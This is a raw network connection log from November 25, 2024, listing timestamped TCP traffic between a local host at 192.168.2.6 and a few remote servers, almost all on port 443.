Nov 25, 2024 18:29:41.818576097 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.819983006 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:41.819993019 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:41.834268093 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.834352016 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:41.834403992 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.835447073 CET	50001	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:41.835457087 CET	443	50001	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:42.230871916 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.234029055 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.234076977 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.234127045 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.234175920 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.234246969 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.234263897 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.234272957 CET	50004	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.234278917 CET	443	50004	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.237037897 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.237070084 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.237148046 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.237333059 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.237344980 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.404155016 CET	49701	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:29:42.504750967 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.505172968 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.505184889 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.505657911 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.505662918 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.525137901 CET	443	49701	20.190.177.21	192.168.2.6
Nov 25, 2024 18:29:42.525214911 CET	49701	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:29:42.798175097 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.802613020 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.802627087 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.803078890 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.803085089 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.950233936 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.953454971 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.953592062 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.953841925 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.953869104 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.953881979 CET	50005	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.953887939 CET	443	50005	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.956665993 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.956718922 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:42.956809044 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.956952095 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:42.956965923 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.119405985 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.121800900 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.121820927 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.122338057 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.122344017 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.247544050 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.250711918 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.250767946 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.250783920 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.250797033 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.250838041 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.250894070 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.250905991 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.250916958 CET	50006	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.250921965 CET	443	50006	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.253722906 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.253737926 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.253803968 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.253945112 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.253957033 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.417604923 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.424026012 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.424043894 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.428829908 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.428834915 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.560884953 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.564163923 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.564254045 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.564300060 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.564300060 CET	50007	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.564320087 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.564328909 CET	443	50007	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.567650080 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.567687035 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.567779064 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.567936897 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.567950964 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.885153055 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.887959957 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.888051033 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.888058901 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.888122082 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.889842033 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.889859915 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.889870882 CET	50008	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.889875889 CET	443	50008	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.892504930 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.892538071 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.892601967 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.892748117 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.892762899 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.995667934 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.997028112 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.997049093 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:43.997461081 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:43.997466087 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.435225964 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.438313007 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.438376904 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.438513041 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.438536882 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.438549042 CET	50009	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.438556910 CET	443	50009	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.443104029 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.443136930 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.443195105 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.443443060 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.443458080 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.684818029 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.685494900 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.685523987 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:44.686238050 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:44.686244011 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.046130896 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.047180891 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.047190905 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.047723055 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.047727108 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.130557060 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.130618095 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.130705118 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.130729914 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.130997896 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.131012917 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.131022930 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.131205082 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.131248951 CET	443	50011	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.131298065 CET	50011	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.133744001 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.133780956 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.133852005 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.133991003 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.134002924 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.493901968 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.493930101 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.493988037 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.494005919 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.494257927 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.494277000 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.494287968 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.494476080 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.494519949 CET	443	50012	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.494982958 CET	50012	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.496957064 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.497013092 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.497085094 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.497226954 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.497241974 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.535984993 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.536384106 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.536403894 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.536829948 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.536834955 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.753354073 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.753895998 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.753918886 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.754441023 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.754446983 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.988718033 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.993465900 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.993515968 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.993575096 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.993624926 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.993639946 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.993649960 CET	50013	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.993654966 CET	443	50013	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.996201992 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.996222973 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:45.996309996 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.996542931 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:45.996555090 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.200628996 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.202197075 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.202701092 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.202722073 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.203178883 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.203183889 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.204384089 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.204459906 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.204509020 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.204524040 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.204536915 CET	50014	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.204544067 CET	443	50014	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.207201004 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.207247972 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.207326889 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.207494020 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.207509995 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.641424894 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.645385027 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.645426035 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.645442009 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.645478964 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.645536900 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.645549059 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.645560026 CET	50015	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.645565987 CET	443	50015	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.647921085 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.647949934 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.648032904 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.648169041 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.648184061 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.855263948 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.855837107 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.855849981 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:46.856225014 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:46.856230021 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.216156960 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.216636896 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.216669083 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.217139959 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.217145920 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.295304060 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.295380116 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.295481920 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.295500994 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:47.295546055 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:47.295614004 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:47.295825005 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.295839071 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.295846939 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:47.295852900 CET	50016	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.295859098 CET	443	50016	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.295865059 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:47.298698902 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.298724890 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.298821926 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.298980951 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.298999071 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.682413101 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.685367107 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.685431004 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.685535908 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.685565948 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.685580969 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.685628891 CET	50017	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.685636044 CET	443	50017	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.688324928 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.688365936 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.688443899 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.688597918 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.688611984 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.797079086 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.797729969 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.797744989 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:47.798192024 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:47.798197985 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.000605106 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.002670050 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.002690077 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.003149986 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.003155947 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.246124029 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.249291897 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.249362946 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.249408960 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.249424934 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.249437094 CET	50018	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.249442101 CET	443	50018	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.252248049 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.252264023 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.252332926 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.252484083 CET	50024	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.252497911 CET	443	50024	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.263092041 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:29:48.384052038 CET	443	49705	20.190.177.21	192.168.2.6
Nov 25, 2024 18:29:48.384241104 CET	49705	443	192.168.2.6	20.190.177.21
Nov 25, 2024 18:29:48.456899881 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.460052967 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.460133076 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.460156918 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.460192919 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.460278988 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.460500956 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.460516930 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.460553885 CET	50019	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.460558891 CET	443	50019	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.463104963 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.463156939 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.463232040 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.463356018 CET	50025	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.463363886 CET	443	50025	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.507419109 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.507977962 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.507989883 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.508510113 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.508516073 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.964354038 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.967413902 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.967588902 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.967588902 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.967588902 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.970113993 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.970168114 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:48.970247984 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.970397949 CET	50026	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:48.970431089 CET	443	50026	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.085553885 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:49.085994959 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:49.086009026 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:49.086324930 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:49.086621046 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:49.086675882 CET	443	50021	142.250.181.68	192.168.2.6
Nov 25, 2024 18:29:49.137351036 CET	50021	443	192.168.2.6	142.250.181.68
Nov 25, 2024 18:29:49.149148941 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.149945021 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.149957895 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.150335073 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.150341034 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.278032064 CET	50020	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.278053045 CET	443	50020	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.528754950 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.529289961 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.529309988 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.529757023 CET	50023	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.529762983 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.609373093 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.612416029 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.612478018 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.612484932 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.612535954 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.612582922 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.612593889 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.612602949 CET	50022	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.612607002 CET	443	50022	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.615274906 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.615325928 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:49.615406036 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.615560055 CET	50027	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:49.615572929 CET	443	50027	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.014332056 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.014708996 CET	443	50023	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:50.014763117 CET	50023	443	192.168.2.6	13.107.246.63
